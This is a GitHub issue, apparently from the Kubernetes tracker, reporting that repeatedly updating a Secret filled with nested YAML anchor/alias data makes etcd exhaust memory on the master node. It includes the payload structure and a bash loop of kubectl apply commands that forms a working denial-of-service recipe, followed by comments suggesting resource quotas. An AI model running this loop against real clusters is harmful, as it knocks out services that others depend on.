kubernetes: Etcd used by kubernetes is vulnerable to OOM attack

What happened?

Etcd process on master node exhaust all memory, making DoS attack. top: PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND 108 root 20 0 0 0 0 S 47.2 0.0 kswapd0 2218 root 20 0 15.6g 5.3g 18008 S 41.2 67.9 etcd 42509 root 20 0 1781692 637428 20168 S 39.9 7.9 kube-apiserver

  • Notice that this is not the final state of my OS. Because after I take this snapshot, the master is OOM and this shell is broken.

What did you expect to happen?

Is it a real security issue of kube-apiserver/etcd that makes this DoS attack? Or is it just because I missed something? For example, a misconfig?(But I do not modify any k8s config, all settings are default.)

How can we reproduce it (as minimally and precisely as possible)?

  • A malicious user leverage a secret1.yaml to create his own secret: apiVersion: v1 kind: Secret metadata: namespace: my-namespace name: test-secretx type: Opaque stringData: attack.yaml: | a: &a ["test","test","test","test","test","test","ltest","test","test"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*a,*a,*a,*a,*a,*a,*a,*a,*a] ...... (I write a lot of useless data to attack.yaml, so the data size of secret1.yaml is near 200k)

  • A malicious user leverage a secret2.yaml to update his own secret: apiVersion: v1 kind: Secret metadata: namespace: my-namespace name: test-secretx type: Opaque stringData: attack.yaml: | a: &a ["test","test","test","test","test","test","ltest","test","test"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] ...... ( The data size of secret2.yaml is the same as secret1.yaml, but the stringData is different)

  • This malicious user update the test-secretx secret repeatedly: #!/bin/bash while true do kubectl apply -f secret1.yaml kubectl apply -f secret2.yaml done

  • The memory of the master node will be exhausted in about 40+ minutes, making an OOM DoS attack.

Anything else we need to know?

No response

Kubernetes version

$ kubectl version
`client Version:`
 `version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.1", GitCommit:"5e58841cce77d4bc13713ad2b91fa0d961e69192", GitTreeState:"clean", BuildDate:"2021-05-12T14:18:45Z", GoVersion:"go1.16.4", Compiler:"gc", Platform:"linux/amd64"}`

`Server Version:`
`version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.1", GitCommit:"5e58841cce77d4bc13713ad2b91fa0d961e69192", GitTreeState:"clean", BuildDate:"2021-05-12T14:12:29Z", GoVersion:"go1.16.4", Compiler:"gc", Platform:"linux/amd64"}`

Cloud provider

OS version

# On Linux:
$ cat /etc/os-release
# `NAME="Ubuntu"`
`VERSION="20.04.2 LTS (Focal Fossa)"`
`ID=ubuntu`
`ID_LIKE=debian`
`PRETTY_NAME="Ubuntu 20.04.2 LTS"`
`VERSION_ID="20.04"`
`HOME_URL="https://www.ubuntu.com/"`
`SUPPORT_URL="https://help.ubuntu.com/"`
`BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"`
`PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"`
`VERSION_CODENAME=focal`
`UBUNTU_CODENAME=focal`
$ uname -a
# `Linux k8s-master 5.11.0-43-generic #47~20.04.2-Ubuntu SMP Mon Dec 13 11:06:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux`

# On Windows:
C:\> wmic os get Caption, Version, BuildNumber, OSArchitecture
# paste output here

Install tools

apt-get

Container runtime (CRI) and and version (if applicable)

younaman@k8s-master:~/Desktop$ sudo ctr version [sudo] password for younaman: Client: Version: 1.5.2-0ubuntu1~20.04.3 Revision: Go version: go1.13.8

Server: Version: 1.5.2-0ubuntu1~20.04.3 Revision: UUID: b5c3f075-cafe-47e9-8cb9-98ece8f1107c

Related plugins (CNI, CSI, …) and versions (if applicable)

About this issue

  • Original URL
  • State: closed
  • Created 2 years ago
  • Comments: 19 (14 by maintainers)

Most upvoted comments

How is this different of having another database like mysql on a system and adding data constantly? Or creating files constantly in a system with random data?

I don’t know if there are other mechanisms but I think that quotas will solve this problem https://kubernetes.io/docs/concepts/policy/resource-quotas/